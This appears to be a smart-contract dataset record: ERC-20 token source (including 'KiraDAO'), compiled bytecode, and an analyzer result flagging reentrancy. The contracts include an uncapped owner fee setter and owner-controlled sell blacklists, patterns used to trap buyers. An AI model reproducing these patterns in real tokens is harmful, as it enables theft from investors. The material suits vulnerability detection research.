sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } //Set minimum tokens required to swap. function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); _swapTokensAtAmount = swapTokensAtAmount; } //Set minimum tokens required to swap. function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } //Set maximum transaction function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner { _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } }
0x6080604052600436106101c55760003560e01c806374010ece116100f757806398a5c31511610095578063c3c8cd8011610064578063c3c8cd8014610532578063dd62ed3e14610547578063ea1644d51461058d578063f2fde38b146105ad57600080fd5b806398a5c315146104a2578063a2a957bb146104c2578063a9059cbb146104e2578063bfd792841461050257600080fd5b80638da5cb5b116100d15780638da5cb5b146104205780638f70ccf71461043e5780638f9a55c01461045e57806395d89b411461047457600080fd5b806374010ece146103bd5780637d1db4a5146103dd5780637f2feddc146103f357600080fd5b8063313ce567116101645780636d8aa8f81161013e5780636d8aa8f8146103535780636fc3eaec1461037357806370a0823114610388578063715018a6146103a857600080fd5b8063313ce567146102f757806349bd5a5e146103135780636b9990531461033357600080fd5b80631694505e116101a05780631694505e1461026357806318160ddd1461029b57806323b872dd146102c15780632fd689e3146102e157600080fd5b8062b8cf2a146101d157806306fdde03146101f3578063095ea7b31461023357600080fd5b366101cc57005b600080fd5b3480156101dd57600080fd5b506101f16101ec3660046118ea565b6105cd565b005b3480156101ff57600080fd5b5060408051808201909152600581526442756c6d6160d81b60208201525b60405161022a91906119af565b60405180910390f35b34801561023f57600080fd5b5061025361024e366004611a04565b6106aa565b604051901515815260200161022a565b34801561026f57600080fd5b50601454610283906001600160a01b031681565b6040516001600160a01b03909116815260200161022a565b3480156102a757600080fd5b5068056bc75e2d631000005b60405190815260200161022a565b3480156102cd57600080fd5b506102536102dc366004611a30565b6106c1565b3480156102ed57600080fd5b506102b360185481565b34801561030357600080fd5b506040516009815260200161022a565b34801561031f57600080fd5b50601554610283906001600160a01b031681565b34801561033f57600080fd5b506101f161034e366004611a71565b61072a565b34801561035f57600080fd5b506101f161036e366004611a8e565b610775565b34801561037f57600080fd5b506101f16107bd565b34801561039457600080fd5b506102b36103a3366004611a71565b610808565b3480156103b457600080fd5b506101f161082a565b3480156103c957600080fd5b506101f16103d8366004611ab0565b61089e565b3480156103e957600080fd5b506102b360165481565b3480156103ff57600080fd5b506102b361040e366004611a71565b60116020526000908152604090205481565b34801561042c57600080fd5b506000546001600160a01b0316610283565b34801561044a57600080fd5b506101f1610459366004611a8e565b6108cd565b34801561046a57600080fd5b506102b360175481565b34801561048057600080fd5b5060408051808201909152600581526442554c4d4160d81b602082015261021d565b3480156104ae57600080fd5b506101f16104bd366004611ab0565b610915565b3480156104ce57600080fd5b506101f16104dd366004611ac9565b610958565b3480156104ee57600080fd5b506102536104fd366004611a04565b610996565b34801561050e57600080fd5b5061025361051d366004611a71565b60106020526000908152604090205460ff1681565b34801561053e57600080fd5b506101f16109a3565b34801561055357600080fd5b506102b3610562366004611afb565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561059957600080fd5b506101f16105a8366004611ab0565b6109f7565b3480156105b957600080fd5b506101f16105c8366004611a71565b610a26565b6000546001600160a01b031633146106005760405162461bcd60e51b81526004016105f790611b34565b60405180910390fd5b6012546001600160a01b0316336001600160a01b0316148061063557506013546001600160a01b0316336001600160a01b0316145b61063e57600080fd5b60005b81518110156106a65760016010600084848151811061066257610662611b69565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061069e81611b95565b915050610641565b5050565b60006106b7338484610b10565b5060015b92915050565b60006106ce848484610c34565b610720843361071b85604051806060016040528060288152602001611caf602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190611176565b610b10565b5060019392505050565b6000546001600160a01b031633146107545760405162461bcd60e51b81526004016105f790611b34565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b0316331461079f5760405162461bcd60e51b81526004016105f790611b34565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107f257506013546001600160a01b0316336001600160a01b0316145b6107fb57600080fd5b47610805816111b0565b50565b6001600160a01b0381166000908152600260205260408120546106bb906111ea565b6000546001600160a01b031633146108545760405162461bcd60e51b81526004016105f790611b34565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108c85760405162461bcd60e51b81526004016105f790611b34565b601655565b6000546001600160a01b031633146108f75760405162461bcd60e51b81526004016105f790611b34565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6012546001600160a01b0316336001600160a01b0316148061094a57506013546001600160a01b0316336001600160a01b0316145b61095357600080fd5b601855565b6000546001600160a01b031633146109825760405162461bcd60e51b81526004016105f790611b34565b600893909355600a91909155600955600b55565b60006106b7338484610c34565b6012546001600160a01b0316336001600160a01b031614806109d857506013546001600160a01b0316336001600160a01b0316145b6109e157600080fd5b60006109ec30610808565b90506108058161126e565b6000546001600160a01b03163314610a215760405162461bcd60e51b81526004016105f790611b34565b601755565b6000546001600160a01b03163314610a505760405162461bcd60e51b81526004016105f790611b34565b6001600160a01b038116610ab55760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016105f7565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610b725760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105f7565b6001600160a01b038216610bd35760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105f7565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610c985760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105f7565b6001600160a01b038216610cfa5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016105f7565b60008111610d5c5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016105f7565b6000546001600160a01b03848116911614801590610d8857506000546001600160a01b03838116911614155b1561106957601554600160a01b900460ff16610e21576000546001600160a01b03848116911614610e215760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c65640060648201526084016105f7565b601654811115610e735760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d69740000000060448201526064016105f7565b6001600160a01b03831660009081526010602052604090205460ff16158015610eb557506001600160a01b03821660009081526010602052604090205460ff16155b610f0d5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b60648201526084016105f7565b6015546001600160a01b03838116911614610f925760175481610f2f84610808565b610f399190611bb0565b10610f925760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b60648201526084016105f7565b6000610f9d30610808565b601854601654919250821015908210610fb65760165491505b808015610fcd5750601554600160a81b900460ff16155b8015610fe757506015546001600160a01b03868116911614155b8015610ffc5750601554600160b01b900460ff165b801561102157506001600160a01b03851660009081526005602052604090205460ff16155b801561104657506001600160a01b03841660009081526005602052604090205460ff16155b15611066576110548261126e565b47801561106457611064476111b0565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff16806110ab57506001600160a01b03831660009081526005602052604090205460ff165b806110dd57506015546001600160a01b038581169116148015906110dd57506015546001600160a01b03848116911614155b156110ea57506000611164565b6015546001600160a01b03858116911614801561111557506014546001600160a01b03848116911614155b1561112757600854600c55600954600d555b6015546001600160a01b03848116911614801561115257506014546001600160a01b03858116911614155b1561116457600a54600c55600b54600d555b611170848484846113f7565b50505050565b6000818484111561119a5760405162461bcd60e51b81526004016105f791906119af565b5060006111a78486611bc8565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156106a6573d6000803e3d6000fd5b60006006548211156112515760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016105f7565b600061125b611425565b90506112678382611448565b9392505050565b6015805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106112b6576112b6611b69565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561130a57600080fd5b505afa15801561131e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113429190611bdf565b8160018151811061135557611355611b69565b6001600160a01b03928316602091820292909201015260145461137b9130911684610b10565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac947906113b4908590600090869030904290600401611bfc565b600060405180830381600087803b1580156113ce57600080fd5b505af11580156113e2573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b806114045761140461148a565b61140f8484846114b8565b8061117057611170600e54600c55600f54600d55565b60008060006114326115af565b90925090506114418282611448565b9250505090565b600061126783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506115f1565b600c5415801561149a5750600d54155b156114a157565b600c8054600e55600d8054600f5560009182905555565b6000806000806000806114ca8761161f565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506114fc908761167c565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461152b90866116be565b6001600160a01b03891660009081526002602052604090205561154d8161171d565b6115578483611767565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161159c91815260200190565b60405180910390a3505050505050505050565b600654600090819068056bc75e2d631000006115cb8282611448565b8210156115e85750506006549268056bc75e2d6310000092509050565b90939092509050565b600081836116125760405162461bcd60e51b81526004016105f791906119af565b5060006111a78486611c6d565b600080600080600080600080600061163c8a600c54600d5461178b565b925092509250600061164c611425565b9050600080600061165f8e8787876117e0565b919e509c509a509598509396509194505050505091939550919395565b600061126783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611176565b6000806116cb8385611bb0565b9050838110156112675760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016105f7565b6000611727611425565b905060006117358383611830565b3060009081526002602052604090205490915061175290826116be565b30600090815260026020526040902055505050565b600654611774908361167c565b60065560075461178490826116be565b6007555050565b60008080806117a5606461179f8989611830565b90611448565b905060006117b8606461179f8a89611830565b905060006117d0826117ca8b8661167c565b9061167c565b9992985090965090945050505050565b60008080806117ef8886611830565b905060006117fd8887611830565b9050600061180b8888611830565b9050600061181d826117ca868661167c565b939b939a50919850919650505050505050565b60008261183f575060006106bb565b600061184b8385611c8f565b9050826118588583611c6d565b146112675760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016105f7565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461080557600080fd5b80356118e5816118c5565b919050565b600060208083850312156118fd57600080fd5b823567ffffffffffffffff8082111561191557600080fd5b818501915085601f83011261192957600080fd5b81358181111561193b5761193b6118af565b8060051b604051601f19603f83011681018181108582111715611960576119606118af565b60405291825284820192508381018501918883111561197e57600080fd5b938501935b828510156119a357611994856118da565b84529385019392850192611983565b98975050505050505050565b600060208083528351808285015260005b818110156119dc578581018301518582016040015282016119c0565b818111156119ee576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611a1757600080fd5b8235611a22816118c5565b946020939093013593505050565b600080600060608486031215611a4557600080fd5b8335611a50816118c5565b92506020840135611a60816118c5565b929592945050506040919091013590565b600060208284031215611a8357600080fd5b8135611267816118c5565b600060208284031215611aa057600080fd5b8135801515811461126757600080fd5b600060208284031215611ac257600080fd5b5035919050565b60008060008060808587031215611adf57600080fd5b5050823594602084013594506040840135936060013592509050565b60008060408385031215611b0e57600080fd5b8235611b19816118c5565b91506020830135611b29816118c5565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611ba957611ba9611b7f565b5060010190565b60008219821115611bc357611bc3611b7f565b500190565b600082821015611bda57611bda611b7f565b500390565b600060208284031215611bf157600080fd5b8151611267816118c5565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611c4c5784516001600160a01b031683529383019391830191600101611c27565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611c8a57634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611ca957611ca9611b7f565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220b15f3cff2ea6ec489106398b3181767f6b148b26fc2718963795c7cb166e158264736f6c63430008090033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
10,276
0x4bfffe09f6c2ad2b18c0ad2c489c3ed4f5c19ee4
/** *Submitted for verification at Etherscan.io on 2022-04-29 */ pragma solidity ^0.8.4; // SPDX-License-Identifier: UNLICENSED abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _dev; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract KIRA is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; struct Taxes { uint256 buyFee1; uint256 buyFee2; uint256 sellFee1; uint256 sellFee2; } Taxes private _taxes = Taxes(0,3,0,3); uint256 private initialTotalBuyFee = _taxes.buyFee1 + _taxes.buyFee2; uint256 private initialTotalSellFee = _taxes.sellFee1 + _taxes.sellFee2; address payable private _feeAddrWallet; uint256 private _feeRate = 15; string private constant _name = "KiraDAO"; string private constant _symbol = "$KIRA"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; bool private _isBuy = false; uint256 private _maxTxAmount = _tTotal; uint256 private _maxWalletSize = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _feeAddrWallet = payable(0x8cF8F84D920cc8963AA1a9bC7065c5d6E5Fc06Ab); _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddrWallet] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(amount > 0, "Transfer amount must be greater than zero"); _isBuy = true; if (from != owner() && to != owner()) { if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { // buy require(amount <= _maxTxAmount); require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize."); } if (from != address(uniswapV2Router) && ! _isExcludedFromFee[from] && to == uniswapV2Pair){ require(!bots[from] && !bots[to]); _isBuy = false; } uint256 contractTokenBalance = balanceOf(address(this)); if(contractTokenBalance > balanceOf(uniswapV2Pair).mul(_feeRate).div(100)) { contractTokenBalance = balanceOf(uniswapV2Pair).mul(_feeRate).div(100); } if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function getIsBuy() private view returns (bool){ return _isBuy; } function removeLimits() external onlyOwner{ _maxTxAmount = _tTotal; _maxWalletSize = _tTotal; } function adjustFees(uint256 buyFee1, uint256 buyFee2, uint256 sellFee1, uint256 sellFee2) external onlyOwner { require(buyFee1 + buyFee2 <= initialTotalBuyFee); require(sellFee1 + sellFee2 <= initialTotalSellFee); _taxes.buyFee1 = buyFee1; _taxes.buyFee2 = buyFee2; _taxes.sellFee1 = sellFee1; _taxes.sellFee2 = sellFee2; } function changeMaxTxAmount(uint256 percentage) external onlyOwner{ require(percentage>0); _maxTxAmount = _tTotal.mul(percentage).div(100); } function changeMaxWalletSize(uint256 percentage) external onlyOwner{ require(percentage>0); _maxWalletSize = _tTotal.mul(percentage).div(100); } function setFeeRate(uint256 rate) external { require(_msgSender() == _feeAddrWallet); require(rate<=49); _feeRate = rate; } function sendETHToFee(uint256 amount) private { _feeAddrWallet.transfer(amount); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = _tTotal.mul(1).div(100); _maxWalletSize = _tTotal.mul(2).div(100); tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function addBot(address[] memory _bots) public onlyOwner { for (uint i = 0; i < _bots.length; i++) { if (_bots[i] != address(this) && _bots[i] != uniswapV2Pair && _bots[i] != address(uniswapV2Router)){ bots[_bots[i]] = true; } } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _feeAddrWallet); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _feeAddrWallet); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = getIsBuy() ? _getTValues(tAmount, _taxes.buyFee1, _taxes.buyFee2) : _getTValues(tAmount, _taxes.sellFee1, _taxes.sellFee2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x6080604052600436106101395760003560e01c80636fc3eaec116100ab57806395d89b411161006f57806395d89b41146103e3578063a9059cbb1461040e578063b87f137a1461044b578063c3c8cd8014610474578063c9567bf91461048b578063dd62ed3e146104a257610140565b80636fc3eaec1461033657806370a082311461034d578063715018a61461038a578063751039fc146103a15780638da5cb5b146103b857610140565b806323b872dd116100fd57806323b872dd1461022a578063273123b714610267578063313ce5671461029057806345596e2e146102bb5780635932ead1146102e4578063677daa571461030d57610140565b806306fdde0314610145578063095ea7b31461017057806317e1df5b146101ad57806318160ddd146101d657806321bbcbb11461020157610140565b3661014057005b600080fd5b34801561015157600080fd5b5061015a6104df565b60405161016791906129d2565b60405180910390f35b34801561017c57600080fd5b5061019760048036038101906101929190612a9c565b61051c565b6040516101a49190612af7565b60405180910390f35b3480156101b957600080fd5b506101d460048036038101906101cf9190612b12565b61053a565b005b3480156101e257600080fd5b506101eb610631565b6040516101f89190612b88565b60405180910390f35b34801561020d57600080fd5b5061022860048036038101906102239190612ceb565b610642565b005b34801561023657600080fd5b50610251600480360381019061024c9190612d34565b6108a4565b60405161025e9190612af7565b60405180910390f35b34801561027357600080fd5b5061028e60048036038101906102899190612d87565b61097d565b005b34801561029c57600080fd5b506102a5610a6d565b6040516102b29190612dd0565b60405180910390f35b3480156102c757600080fd5b506102e260048036038101906102dd9190612deb565b610a76565b005b3480156102f057600080fd5b5061030b60048036038101906103069190612e44565b610aef565b005b34801561031957600080fd5b50610334600480360381019061032f9190612deb565b610ba1565b005b34801561034257600080fd5b5061034b610c7b565b005b34801561035957600080fd5b50610374600480360381019061036f9190612d87565b610ced565b6040516103819190612b88565b60405180910390f35b34801561039657600080fd5b5061039f610d3e565b005b3480156103ad57600080fd5b506103b6610e91565b005b3480156103c457600080fd5b506103cd610f48565b6040516103da9190612e80565b60405180910390f35b3480156103ef57600080fd5b506103f8610f71565b60405161040591906129d2565b60405180910390f35b34801561041a57600080fd5b5061043560048036038101906104309190612a9c565b610fae565b6040516104429190612af7565b60405180910390f35b34801561045757600080fd5b50610472600480360381019061046d9190612deb565b610fcc565b005b34801561048057600080fd5b506104896110a6565b005b34801561049757600080fd5b506104a0611120565b005b3480156104ae57600080fd5b506104c960048036038101906104c49190612e9b565b61168b565b6040516104d69190612b88565b604051809